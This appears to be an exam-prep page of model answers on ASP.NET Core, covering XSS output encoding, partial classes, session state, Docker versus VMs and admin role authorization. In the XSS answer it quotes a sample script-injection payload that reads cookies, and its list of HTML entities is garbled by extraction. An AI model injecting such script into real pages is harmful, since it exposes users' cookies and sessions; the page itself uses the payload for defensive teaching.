In ASP.NET Core, jquery.validate with jquery.validate.unobtrusive reads data-val-* attributes generated by tag helpers from model data annotations ([Required], [StringLength]) and applies the same rules on the client automatically.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
Explain how ASP.NET Core defends against XSS through output encoding.
Answer
Cross-site scripting (XSS) is an attack in which malicious script (for example <script>alert(document.cookie)</script>) is injected into a page and runs in other users' browsers, stealing cookies, tokens or performing actions on their behalf.
Output encoding converts characters with special meaning in HTML into harmless entities, so user data is displayed as text and not executed as markup: < becomes <, > becomes >, " becomes ", ' becomes '.
How ASP.NET Core applies it
- Razor encodes by default. Any expression
@Model.Commentis HTML-encoded, so<script>is rendered as<script>and displayed literally. - Tag helpers and HTML helpers encode the values they emit.
- Encoders are available for other contexts through injectable services in
System.Text.Encodings.Web:HtmlEncoder,JavaScriptEncoder,UrlEncoder.
@inject System.Text.Encodings.Web.JavaScriptEncoder encoder
<script>var name = "@encoder.Encode(Model.Name)";</script>
- The default encoder uses a safe list that allows only basic Latin characters and encodes the rest.
@Html.Raw(...)bypasses encoding and is dangerous with untrusted input; it should be avoided.
Additional defences: validate input, use a Content Security Policy header, mark cookies HttpOnly, and sanitise any HTML that must be accepted. Output encoding is the primary defence because it is applied automatically when data is written to the page.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
What is the use of a partial class? Discuss session state.
Answer
Partial class
A partial class splits the definition of one class (or struct/interface) across two or more files using the partial keyword. The compiler combines all parts into a single class at compile time.
// Student.Data.cs
public partial class Student { public string Name { get; set; } }
// Student.Logic.cs
public partial class Student { public void Show() => Console.WriteLine(Name); }
Uses:
- Several developers can work on the same class at once.
- Separates automatically generated code (designer files, EF models, Razor Pages compiled code) from hand-written code, so regeneration does not overwrite custom code.
- Large classes are organised into manageable files.
- Allows partial methods to hook custom logic into generated code.
All parts must use the same accessibility and the same namespace.
Session state
HTTP is stateless, so session state stores user-specific data on the server across multiple requests from the same browser. Each user gets a unique session id, held in a cookie and sent with each request; the data itself is kept on the server (in memory, a distributed cache such as Redis, or SQL Server).
builder.Services.AddDistributedMemoryCache();
builder.Services.AddSession(o => o.IdleTimeout = TimeSpan.FromMinutes(20));
app.UseSession();
HttpContext.Session.SetString("User", "Ram");
string user = HttpContext.Session.GetString("User");
Features: data is private to a user, expires after the idle timeout, and is more secure than client-side options. Drawbacks: it consumes server memory, needs shared storage in web farms, and depends on the session cookie. It should not hold large or sensitive objects.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
Explain the core differences between a traditional Virtual Machine (VM) and a Docker container.
Answer
Both Virtual Machines and Docker containers isolate applications, but they virtualise at different levels.
| Virtual Machine | Docker container |
|---|---|
| Virtualises hardware through a hypervisor (Hyper-V, VMware, VirtualBox) | Virtualises the operating system; uses the container engine on the host kernel |
| Each VM contains a full guest OS plus the app | Containers share the host OS kernel and package only the app and its dependencies |
| Size in GBs | Size in MBs |
| Boot takes minutes | Starts in seconds or less |
| Heavy on CPU, RAM and disk; fewer per host | Lightweight; many more per host |
| Strong isolation (separate kernel) | Process-level isolation; weaker because kernel is shared |
| Can run different OSs on one host | Must be compatible with the host kernel (Linux containers on Linux kernel) |
| Slower to scale and migrate | Fast to scale and portable ("build once, run anywhere") using images |
Summary: VMs give stronger isolation and OS flexibility at a high resource cost, while containers give speed, small footprint, consistency across development and production, and easy deployment in CI/CD and microservices. For an ASP.NET Core app, a Docker image built from a Dockerfile can be started in seconds on any host with Docker.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
What is SPA? Write code to define a role for admin who can create, update, and delete any article.
Answer
SPA (Single Page Application)
A SPA is a web application that loads a single HTML page once and then updates the content dynamically in the browser using JavaScript (React, Angular, Vue, Blazor WebAssembly), fetching data from the server as JSON through AJAX/REST APIs, without full page reloads. Advantages: fast, app-like user experience, reduced server load by transferring only data, and reusable API backends. Disadvantages: heavier first load, SEO is harder, and it needs JavaScript.
Role for admin who can create, update and delete any article
Define the role and a policy, then protect the actions.
// Program.cs
builder.Services.AddIdentity<IdentityUser, IdentityRole>()
.AddEntityFrameworkStores<AppDbContext>();
builder.Services.AddAuthorization(options =>
{
options.AddPolicy("ManageArticles", p => p.RequireRole("Admin"));
});
// Create the role at startup
using (var scope = app.Services.CreateScope())
{
var roleManager = scope.ServiceProvider.GetRequiredService<RoleManager<IdentityRole>>();
if (!await roleManager.RoleExistsAsync("Admin"))
await roleManager.CreateAsync(new IdentityRole("Admin"));
}
// ArticlesController.cs
public class ArticlesController : Controller
{
[AllowAnonymous]
public IActionResult Index() => View(_repo.GetAll()); // everyone may read
[Authorize(Roles = "Admin")]
[HttpPost] public IActionResult Create(Article a) { _repo.Add(a); return RedirectToAction("Index"); }
[Authorize(Roles = "Admin")]
[HttpPost] public IActionResult Update(Article a) { _repo.Update(a); return RedirectToAction("Index"); }
[Authorize(Policy = "ManageArticles")]
[HttpPost] public IActionResult Delete(int id) { _repo.Delete(id); return RedirectToAction("Index"); }
}
Only users assigned the Admin role (userManager.AddToRoleAsync(user, "Admin")) can create, update or delete articles; other users receive 403 Forbidden.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
Questions from TU BSc CSIT 2075 Compiler Design and Construction (TU IOST board exam, 2075), TU BSc CSIT 2076 Compiler Design and Construction (TU IOST board exam, 2076), TU BSc CSIT 2078 Compiler Design and Construction (TU IOST board exam, 2078), TU BSc CSIT 2080 Compiler Design and Construction (TU IOST board exam, 2080), TU BSc CSIT 2081 Compiler Design and Construction (TU IOST board exam, 2081), TU BSc CSIT 2082 Compiler Design and Construction (new syllabus) (TU IOST board exam, 2082), TU BSc CSIT 2076 E-Commerce (TU IOST board exam, 2076), TU BSc CSIT 2078 E-Commerce (TU IOST board exam, 2078), TU BSc CSIT 2079 E-Commerce (TU IOST board exam, 2079), TU BSc CSIT 2080 E-Commerce (TU IOST board exam, 2080), TU BSc CSIT 2081 E-Commerce (TU IOST board exam, 2081), TU BSc CSIT 2076 E-Governance (TU IOST board exam, 2076), TU BSc CSIT 2078 E-Governance (TU IOST board exam, 2078), TU BSc CSIT 2079 E-Governance (TU IOST board exam, 2079), TU BSc CSIT 2080 E-Governance (TU IOST board exam, 2080), TU BSc CSIT 2081 E-Governance (TU IOST board exam, 2081), TU BSc CSIT 2076 NET Centric Computing (TU IOST board exam, 2076), TU BSc CSIT 2078 NET Centric Computing (TU IOST board exam, 2078), TU BSc CSIT 2079 NET Centric Computing (TU IOST board exam, 2079), TU BSc CSIT 2080 NET Centric Computing (TU IOST board exam, 2080), TU BSc CSIT 2081 NET Centric Computing (TU IOST board exam, 2081), TU BSc CSIT 2082 NET Centric Computing (TU IOST board exam, 2082), TU BSc CSIT 2076 Software Engineering (TU IOST board exam, 2076), TU BSc CSIT 2077 Software Engineering (TU IOST board exam, 2077), TU BSc CSIT 2079 Software Engineering (TU IOST board exam, 2079), TU BSc CSIT 2080 Software Engineering (TU IOST board exam, 2080), TU BSc CSIT 2081 Software Engineering (TU IOST board exam, 2081), TU BSc CSIT 2082 Software Engineering (TU IOST board exam, 2082), TU BSc CSIT 2074 Technical Writing (TU IOST board exam, 2074), TU BSc CSIT 2075 Technical Writing (TU IOST board exam, 2075), TU BSc CSIT 2078 Technical Writing (TU IOST board exam, 2078), TU BSc CSIT 2079 Technical Writing (TU IOST board exam, 2079), TU BSc CSIT 2080 Technical Writing (TU IOST board exam, 2080), TU BSc CSIT 2081 Technical Writing (TU IOST board exam, 2081) and TU BSc CSIT 2082 Technical Writing (TU IOST board exam, 2082). Answers are written for this site; check them against your class notes.